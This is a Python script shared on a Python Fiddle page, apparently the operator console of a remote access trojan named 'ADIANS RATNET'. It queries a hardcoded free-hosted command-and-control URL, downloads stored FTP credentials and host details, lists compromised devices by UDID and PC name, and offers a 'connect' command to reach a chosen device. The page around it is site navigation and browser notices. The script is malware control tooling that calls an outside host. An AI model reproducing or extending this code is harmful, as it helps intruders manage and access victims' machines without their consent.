#ADIANS RATNET For Python was Written by Daniel Blood #This is a private source code tamplate to demostrate how the RAT System works #This only works in Python 3, And has been tested in the latest build of Python (3.5.1) #-------------------- The section of custom functions for the script -------------------- import urllib.request #Required for the REQUEST Function below def request(url): #Downloads files using a URL into a string response = urllib.request.urlopen(url) #Gets the response data = response.read() #Reads the response text = data.decode( 'utf-8' ) #Decodes the data into plain text (UTF-8) return text #Returns the data #-------------------- The main module for connecting to a network -------------------- from sys import version_info #Gets the current Python Version Number py3 = version_info [ 0 ] > 2 #Checks versio info server = "" #Declares the string for public use if py3 : #If Python version is 3.+ print( "Written for ADIANS 6.6.6 R2" ) print( "Module: RATNET" ) print( "Written by Daniel Blood" ) server = input ( "Server: " ) #Get user input for server server = "http://regionalism-wire.000webhostapp.com/libra/" #For debugging, Leave this line uncommented. so you don't need to enter the server every time during debugging response = request(server) #Gets the response from the server's index. found = "0" #Decalres the found string for use in this section for line in response.splitlines(): #Goes through each line in the response if line == "<title>BinaryHTTP Server</title>" : found = "1" #If the line contains <title>BinaryHTTP Server</title>, Found will be set to "1" if found == "1" : #If found = "1" print( "Server OK" ) #The Server is OK Because the string it was looking for above was found in the page, so that means this server is made for this module. else: #If found was anything else. print( "Server ERROR" ) print( "The server is invalid." ) import sys sys.exit() #Terminates the script because the server is invalid. else: #If Python's version is not 3.+ print("Error: This script requires Python3") import sys sys.exit() #Terminates the script because this script won't work with the current version of Python #We will now download the information from the server. NET_NAME = request(server + "/server_details/name.sqdat") #Gets the name of the network print("SQLITE;NAME OK") NET_HTTPADDRESS = request(server + "/server_details/httpaddress.sqdat") #Gets the real HTTP Address of the network (To avoid errors) print("SQLITE;HTTPADDRESS OK") NET_FTPUSERNAME = request(server + "/server_details/ftpusername.sqdat") #Gets the FTP Username for this network print("SQLITE;FTPUSERNAME OK") NET_FTPPASSWORD = request(server + "/server_details/ftppassword.sqdat") #Gets the FTP Password for this network print("SQLITE;FTPPASSWORD OK") NET_FTPHOST = request(server + "/server_details/ftphost.sqdat") #Gets the FTP Host for this network print("SQLITE;FTPHOST OK") NET_FTPDIRECTORY = request(server + "/server_details/ftpdirectory.sqdat") #Gets the directory on the FTP Server where this network is installed at. print("SQLITE;FTPDIRECTORY OK") print("The connection was established successfully") #Everything seems to have passed and the script has everything it needs to work with this network. #-------------------- The start of the actual functions and commands for the network -------------------- def list_devices(): #Lists the devices that are on the network devices = request( server + "/devices.sqlite" ) #Downloads the list of devices for line in devices.splitlines(): #Goes through each line in the file print(line + " (" + request(server + "/devices/" + line + "/spdata/name.sqdat") + ")") #Prints out the UDID and gets the PC-Name from the UDID def connect(): #Connects to a device udid = input("Device UDID: ") #Gets the UDID from User input device = request( server + "/devices/" + udid ) #Requests the device from the server valid = "0" #Declares the property for line in device.splitlines(): #Goes through each line from the request if line == "<p>The page you are trying to access to blocked. Sorry</p>" : valid = "1" #If the line has this then sets "Valid" to "1" if valid == "1": #If valid has been set to 1 then the device exists on the server print("Device exists!") #Prints out the message else: #If valid wasn't set to 1 then the device might not exist on the server print("device doesn't exist.") #Prints out the message while True: #The main user input to access multiple commands user_input = input( "PYTHON/ADIANS/RATNET/" + NET_NAME.upper() + "_$> " ) #Gets the user input if user_input == "quit" : break #If the user input is "QUIT" then breaks the loop and exits the module elif user_input == "list devices" : list_devices() #If the user input is "LIST DEVICES" runs the code from list_devices() elif user_input == "connect" : connect() #if the user input is "CONNECT" runs the code from connect() else : print( "Unknown Command '" + user_input + "'" ) #If no other command matches above, Displays the unknown command message
Run
Reset
Share
Import
Link
Embed
Language▼
English
中文
Python Fiddle
Python Cloud IDE
Follow @python_fiddle
Browser Version Not Supported
Due to Python Fiddle's reliance on advanced JavaScript techniques, older browsers might have problems running it correctly. Please download the latest version of your favourite browser.
Chrome 10+
Firefox 4+
Safari 5+
IE 10+
Let me try anyway!
url:
Go
Python Snippet
Stackoverflow Question